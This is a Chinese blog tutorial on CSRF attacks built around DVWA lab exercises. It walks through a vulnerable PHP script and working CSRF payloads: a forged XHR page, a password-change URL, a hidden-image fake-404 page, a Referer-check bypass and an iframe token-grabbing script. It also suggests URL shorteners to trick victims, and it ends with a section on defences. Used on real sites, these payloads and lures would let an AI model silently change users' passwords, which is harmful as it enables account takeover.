主頁 >  其他 > CSRF漏洞原理淺談

CSRF漏洞原理淺談

2020-09-16 07:54:44 其他

CSRF漏洞原理淺談

By : Mirror王宇陽

E-mail : [email protected]

筆者并未深挖過CSRF,內容居多是參考《Web安全深度剖析》、《白帽子講web安全》等諸多網路技術文章

CSRF跨站請求攻擊,和XSS有相似之處;攻擊者利用CSRF可以盜用用戶的身份進行攻擊

CSRF攻擊原理

部分摘自《Web安全深度剖析》第十章

當我們打開或登錄某個網站后,瀏覽器與網站所存放的服務器將會產生一個會話,在會話結束前,用戶就可以利用具有的網站權限對網站進行操作(如:發表文章、發送郵件、洗掉文章等),會話借宿后,在進行權限操作,網站就會告知會話超期或重新登錄,

當登錄網站后,瀏覽器就會和可信的站點建立一個經過認證的會話,所有通過這個經過認證的會話發送請求,都被認定為可信的行為,例如轉賬、匯款等操作,當這個會話認證的時間過長或者自主結束斷開;必須重新建立經過認證的可信安全的會話,

CSRF攻擊是建立在會話之上,比如:登錄了網上銀行,正在進行轉賬業務,這是攻擊者給你發來一個URL,這個URL是攻擊者精心構造的Payload,攻擊者精心構造的轉賬業務代碼,而且與你登錄的是同一家銀行,當你認為這是安全的鏈接后點擊進去,你的錢就沒了!

比如想給用戶xxser轉賬1000元,正常的URL是:

secbug.org/pay.jsp?user=xxser&money=1000

而攻擊者構造的URL則是:

secbug.org/pay.jsp?user=hack&money=10000

CSRF漏洞利用

CSRF漏洞常常被用來制作蠕蟲攻擊、SEO流量等

分析漏洞代碼

  • 獲取GET引數username和password,然后通過select陳述句查詢是否存在對應的用戶,如果存在通過$_SESSION設定一個session:isadmin=admin ,否則設定session:isadmin=guest
  • 判斷session中的isadmin是否為admin,如果isadmin!=admin說明用戶沒有登錄,那么跳轉到登錄頁面,所以只有在管理員登錄后才可以執行用戶的操作
  • 獲取POST引數username和password然后插入users表中,完成添加用戶的操作
<?php
	
	session_start();
	if (isset($_GET['login'])) {
		$con=mysqli_connect("127.0.0.1","root","123456","test");
		if (mysql_connect_errno()) {
			echo "連接失敗".mysql_connect_errno();
		}
		$username = addslashes($_GET['username']);
		$password = $_GET['password'];
		$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
		$row = mysqli_fetch_array($result);
		if($row){
			$_SESSION['isadmin'] = 'admin';
			exit("登錄成功");
		} else{
			$_SESSION['isadmin'] = 'guest';
			exit("登錄失敗");
		}
	} else{
		$_SESSION['isadmin'] = 'guest';
	}
	if($_SESSION['isadmin'] != 'admin'){
		exit("請登錄……");
	}
	if(isset($_POST['submit'])){
		if (isset($_POST['username'])) {
			$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
			exit($_POST['username']."添加成功");
		}
	}
?>

這是后臺php原始碼

攻擊者需要做的就是構造一個請求,請求的URL就是php檔案的URL,引數是submit=1&username=1&password=1,請求payload會自動的利用原始碼的特性添加一個用戶

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>CSRF漏洞實踐</title>
</head>
<body>
	<script type="text/javascript">
		var pauses = new Array("16");
		var methods = new Array("POST");
		var urls = new Array("isadmin.php");
		var params = new Array("submit=1&username=1&password=1");
		function pausecomp(millis){
			var date = new Date();
			var curDate = null ; 
			do{
				curDate = new Date();
			}while(curDate-date<millis);
		}
		function run(){
			var count = 1 ; 
			var i = 0 ; 
			for( i=0 ; i < count ; i ++){
				makeXHR(methods[i],urls[i],params[i]);
				pausecomp(pausecomp[i]);

			}
		}
		var http_request = false ; 
		function makeXHR(method , url , paramters){
			http_request = false ; 
			if(window.XMLHttpRequest){
				http_request = new XMLHttpRequest() ; 
				if(http_request.overrideMinmeType){
					http_request.overrideMinmeType('text/html');
				}
			} else if(window.ActiveXObject){
				try{
					http_request = new ActiveXObject("Msxml2.XMLHTTP");
				} catch(e){
					try{
						http_request = new ActiveXObject("Microsoft.XMLHTTP");
					} catch (e){ }
				}
			}
			if(!http_request){
				alert('Cannot create XMLHTTP instance');
				return false;
			}
			if(method == 'GET'){
				if(url.indexOf('?') == -1){
					url = url + '?' + paramters;
				} else{
					url = url + '&' + paramters;

				}
				http_request.open(method,url,true);
				http_request.send("");

			} else if(method == 'POST'){
				http_request.open(method,url,true);
				http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
				http_request.setRequestHeader("Content-length",paramters.length);
				http_request.setRequestHeader("Connection","close");
				http_request.send(paramters);
			}
		}
	</script>
</body>
</html>

DVWA平臺CSRF

筆者找不到比較好的原始碼,于是找到了DVWA~~

Low

  • 前端原始碼

    <h3>Change your admin password:</h3>
    <br>
    <form action="#" method="GET">
    	New password:<br>
    	<input autocomplete="off" name="password_new" type="password"><br>
    	Confirm new password:<br>
    	<input autocomplete="off" name="password_conf" type="password"><br>
    	<br>
    	<input value=https://www.cnblogs.com/wangyuyang1016/p/"Change" name="Change" type="submit">
    
    

    前端的原始碼非常的簡單,是一個修改密碼的CSRF,表單采用GET方式Change提交

  • 后端原始碼

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    可以看見后端接收資料后會驗證兩次密碼是否重復,然后修改密碼~~~

  • 構造Payload

    http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
    

    我們將Payload發送給受害者,受害者處于會話保持(登錄狀態)中,受害者一旦點擊這個URL鏈接,就意味著受害者執行了同樣的操作;這個程序就是CSRF

    筆者處于的DVWA使用的登錄密碼,而我的密碼就被改為“123456”

  • 重點

    這里的攻擊成立是利用受害者的Cookie向服務器發送偽造請求(Payload),如果用戶使用的是一個與xxser.com保持會話登錄的瀏覽器點擊Payload-URL,受害者的密碼就會發生更改,

    哦!對了!這么裸露的攻擊Payload在2019年安全意識高端的現代,是不會有人點擊的!這個時候我們就有好玩的一個工具叫:“短鏈接”,百度、新浪的短網址服務都可以!

    為了減少圖片內容,我們當密碼修改后的頁面會提示“Password Changed.”

  • 高明的做法(從一位前輩copy過來的,忘記鏈接了!)

    都知道會出現提示,要想悄悄的修改!可以建立一個攻擊網頁,誘騙受害者訪問

    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="utf-8">
    	<title>Payload</title>
    </head>
    <body>
    	<img src=https://www.cnblogs.com/wangyuyang1016/p/"http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
    	

    404

    file not found.

    頁面的作用是加載一個偽404的頁面;實際上一旦訪問這個頁面,就會加載圖片,所謂加載圖片就是加載src屬性,而src屬性則為Payload-URL,實際的行為就是加載該html頁面的同時圖片會加載,也就執行了Payload 你說好不好玩!加載一個404偽頁面,就把自己的密碼給該了,而且自己還不知道!

Medium

  • 后端原始碼( 添加了http_referer頭的校驗 )

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // HTTP_REFERER :查詢當前頁的前一頁的地址資訊
        // SERVER_NAME  :獲取域名
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // stripos() :查字符第一次出現的位置,
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    檢查HTTP_REFERER(http資料包的referer引數值)即上一級URL地址資訊是否包含當前HTTP資料包中的Host引數值;包含則表示當前頁面是從DVWA即上一級URL合法的行為,

    合法的http資料包:

    GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    

    留意第2行、第8行

  • 分析繞過

    但是stripos()函式寫的頭驗證是可以繞過的~ stripos()函式是多次匹配; 只要包含了目標主機地址就可以繞過stripos()函式寫的驗證陳述句

    如果我們依舊按照建立一個偽造的攻擊頁面,stripos()頭驗證就會驗證,然而頁面并不是來自DVWA;于是深挖stripos()函式的漏洞,發現函式會多次匹配,于是思路就是建立一個假的檔案名,通過一個偽造的檔案名,繞過stripos()的驗證

  • Payload

    GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/127.0.0.1.html
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive
    

    這里注意!我們將Payload命名為“127.0.0.1.html”,

High

  • 后端原始碼

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 加入 Anti-CSRF token機制
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    加入 Anti-CSRF Token機制,用戶訪問改密頁面時,服務器回傳token,只有用戶提交token引數才可以進行改密行為!

  • 分析繞過

    我們構造Payload頁面的時候,就需要考慮到執行改密行為必須向服務器發送token,而token只有在改密頁面才可以獲得;

    根據前輩的思路:利用受害者的cookie去改密頁面獲取token

    <script type="text/javascript">
     
        function attack()
     
      {
     
       document.getElementsByName('user_token')[0].value=https://www.cnblogs.com/wangyuyang1016/p/document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
     
      document.getElementById("transfer").submit(); 
     
      }
     
    </script>
     
    <iframe src=https://www.cnblogs.com/wangyuyang1016/p/"http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
     
    </iframe>
     
    <body οnlοad="attack()">
     
      

    攻擊思路是當受害者點擊進入這個頁面,腳本會通過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,并向服務器發送改密請求,以完成CSRF攻擊,

    然而理想與現實的差距是巨大的,這里牽扯到了跨域問題,而現在的瀏覽器是不允許跨域請求的,這里簡單解釋下跨域,我們的框架iframe訪問的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服務器169.254.36.73上,而我們的攻擊頁面位于黑客服務器上,兩者的域名不同,域名B下的所有頁面都不允許主動獲取域名A下的頁面內容,除非域名A下的頁面主動發送資訊給域名B的頁面,所以我們的攻擊腳本是不可能取到改密界面中的user_token,

    由于跨域是不能實作的,所以我們要將攻擊代碼注入到目標服務器169.254.36.73中,才有可能完成攻擊,下面利用High級別的XSS漏洞協助獲取Anti-CSRF token(因為這里的XSS注入有長度限制,不能夠注入完整的攻擊腳本,所以只獲取Anti-CSRF token)

    這里的Name存在XSS漏洞,于是抓包,改引數,成功彈出token
    原文鏈接:https://blog.csdn.net/liweibin812/article/details/86468880

    img

筆者通過DVWA平臺的CSRF實體,簡單的總結了CSRF的特性和應對措施,也由于筆者沒有就這方面進行研究,沒有辦法進一步深度的解剖原理

CSRF應對措施

  • 從DVWA的測驗中總結:

    在Impossible級別的原始碼中,利用了PDO技術防御SQL注入,防護CSRF方面則要求用戶原始密碼;攻擊者在不知道原始密碼的情況下是無法進行CSRF的哦!筆者從網路中搜集了幾篇文章,筆者對這些文章就不做剖解了直接copy地址

    PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html

CSRF防御手段

  • 使用POST,限制GET

    GET方式最容易受到CSRF攻擊,只要簡單的構造payload就可能導致CSRF;使用POST可以大程度的減低CSRF曝光率

  • 瀏覽器Cookie策略

    老瀏覽器會攔截第三方本地Cookie的發送,而新瀏覽器則不會攔截發送;

  • 添加驗證碼

    簡單粗暴還有效;可以大程度的增加人機互動的程序,避免用戶被悄悄的偷襲

  • Referer Check

    檢查請求是否來自于合法的

  • Anti CSRF Token

    Token的值必須是隨機的,不可預測的,由于Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊,另外使用Token時應注意Token的保密性,盡量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token泄露,

  • 總結:

    CSRF攻擊是攻擊者利用用戶的身份操作用戶帳戶的一種攻擊方式,通常使用Anti CSRF Token來防御CSRF攻擊,同時要注意Token的保密性和隨機性,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/55234.html

標籤:其他

上一篇:MSF命令大全詳解

下一篇:TCP協議

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more